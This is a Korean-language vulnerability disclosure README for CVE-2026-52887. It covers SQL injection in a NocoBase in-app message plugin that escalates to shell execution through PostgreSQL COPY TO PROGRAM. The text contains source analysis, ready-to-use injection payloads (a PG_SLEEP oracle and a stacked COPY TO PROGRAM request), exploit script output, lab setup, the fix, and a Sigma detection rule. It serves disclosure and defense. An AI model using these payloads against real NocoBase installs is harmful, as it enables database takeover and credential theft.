
CVE-2026-52887 — NocoBase SQL 인젝션 -> PostgreSQL 슈퍼유저 RCE (myInAppChannels:list 필터, CVSS 10.0). 저자 PoC + 소스 분석 + docker 랩.
NocoBase의
@nocobase/plugin-notification-in-app-message (≤ 2.0.60)에 포함된
myInAppChannels:list 액션에서 SQL 삽입이 발생합니다. filter[latestMsgReceiveTimestamp][$lt]
요청 파라미터는 이스케이프나 바인딩 없이 원시 Sequelize.literal() SQL 문자열에 직접
보간됩니다. PostgreSQL pg 드라이버의 스택드 스테이트먼트 지원을 통해 삽입은
COPY … TO PROGRAM에 도달하며, 공급업체의 기본 compose가 nocobase DB 역할을
슈퍼유저로 생성하기 때문에 postgres OS 사용자 권한으로 셸 명령 실행으로 이어집니다.
이 엔드포인트는 로그인한 사용자가 필요하지만, 기본 auth-basic 플러그인은 자체 가입이
활성화된 상태로 제공되므로 익명 방문자도 등록하고 접근할 수 있습니다.
| CVE | CVE-2026-52887 |
| 제품 | NocoBase (@nocobase/plugin-notification-in-app-message) |
| 영향 범위 | ≤ 2.0.60 (nocobase/nocobase:2.0.57에서 확인) |
| 수정 버전 | 2.0.61 |
| 분류 | SQL 삽입 (CWE-89) → OS 명령 실행 |
| CVSS 3.1 | 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA) |
| 인증 | 사실상 인증 불필요 — 기본 auth-basic allowSignUp: true |
| 상태 | 취약점 확인됨 — 2.0.57에서 엔드투엔드 검증 완료 |
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
myInAppChannels:list 핸들러 (2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt는 요청 쿼리
(filter[latestMsgReceiveTimestamp][$lt]=…)에서 그대로 가져오며
Sequelize.literal()에 연결됩니다 — 원시 SQL, 파라미터 바인딩 없음, 타입 강제 변환 없음.
공격자는 비교식을 닫고 임의의 SQL을 추가합니다.
pg 드라이버를 통해 PostgreSQL에서 실행되며, 이 드라이버는 스택드
스테이트먼트(… ; …)를 허용합니다. 주입된 조각이 두 번째 문을 추가합니다.docker-compose.yml은 postgres 이미지의 POSTGRES_USER를 통해
nocobase 역할을 생성하는데, 이는 항상 슈퍼유저입니다.COPY (…) TO PROGRAM '<shell>'을 실행하여 DB 컨테이너 내부에서
postgres OS 사용자로 <shell>을 실행할 수 있습니다.myInAppChannels ACL은 loggedIn이지만 기본 auth-basic 플러그인은
allowSignUp: true로 제공됩니다. 익명 공격자는 스스로 등록하고
(POST /api/auth:signUp?authenticator=basic), 로그인하여 bearer 토큰을 얻은 다음
진행합니다 — 따라서 기본 설치에서는 실제로 인증이 필요 없습니다.
defineMyInAppChannels.ts에 parseLatestMsgReceiveTimestampLt()가 추가되어
값을 Number()로 강제 변환하고(비유한 수 / 비숫자 입력은 400으로 거부)
바인딩된 비교로 전환합니다:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] auth-basic signUp을 통해 'lab_operator' 자체 등록
[+] 로그인 성공, bearer 토큰 획득
[*] 시간 기반: PG_SLEEP(5)=5.03s 대조군=0.02s
[+] SQL 삽입 확인 (시간 기반)
[+] COPY TO PROGRAM 전송 (HTTP 200) - 'id > /tmp/proof 2>&1'가 postgres OS 사용자로 실행됨
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
원시 HTTP 체인:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# 시간 기반 오라클 (약 5초 지연):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# 스택드 스테이트먼트 RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd는 모든 셸 명령을 허용합니다 (리버스 셸, OAST 콜백, COPY (SELECT …) TO PROGRAM 'cat > /tmp/x'를
통한 DB 행 읽기 등).
이 호스트에는 docker 브리지가 없으므로 두 컨테이너를 호스트 네트워킹으로 실행합니다:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase가 자동 설치되고 http://127.0.0.1:13000에서 서비스됩니다
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
수정 버전 경계 (거부됨):
docker run ... nocobase/nocobase:2.0.61 # 동일한 단계
# PG_SLEEP / COPY TO PROGRAM 페이로드는 HTTP 400을 반환합니다. 숫자형 $lt는 여전히 200을 반환합니다
캡처된 트랜스크립트는 EVIDENCE.txt를, 소스 수준 분석은
ANALYSIS.md를 참조하세요.
취약점 확인됨 — nocobase/nocobase:2.0.57, 두 가지 독립적인 기법으로 검증됨:
PG_SLEEP(5) 페이로드는 응답을 약 5.0초 지연시키는 반면,
동일 엔드포인트에서 수면 없이 동일한 요청은 약 0.03초 만에 응답합니다
(속도 제한 / 재시도 아티팩트 배제).uid=999(postgres) gid=999(postgres)가 포함되어 있습니다. 이는 postgres OS 사용자로
실행된 id(1)의 실제 출력이지 페이로드의 에코가 아닙니다.패치됨 — nocobase/nocobase:2.0.61에서 두 페이로드 모두 HTTP 400을 반환하는 반면,
숫자형 $lt는 여전히 200을 반환합니다.
데이터베이스 컨테이너 내부에서 postgres OS 사용자로 원격 코드 실행: NocoBase 데이터베이스의 전체 읽기/쓰기, 저장된 모든 비밀과 사용자 자격 증명의 노출, 그리고 수평 이동을 위한 발판. 기본 설치에서는 익명 방문자 누구나 도달할 수 있습니다.
COPY … TO PROGRAM 프리미티브 제거).allowSignUp: false).filter[latestMsgReceiveTimestamp][$lt] 값이 일반 숫자가 아닌
myInAppChannels:list 요청, 그리고 COPY … TO PROGRAM이 포함된 PostgreSQL 로그:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma (웹서버 접근 로그):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).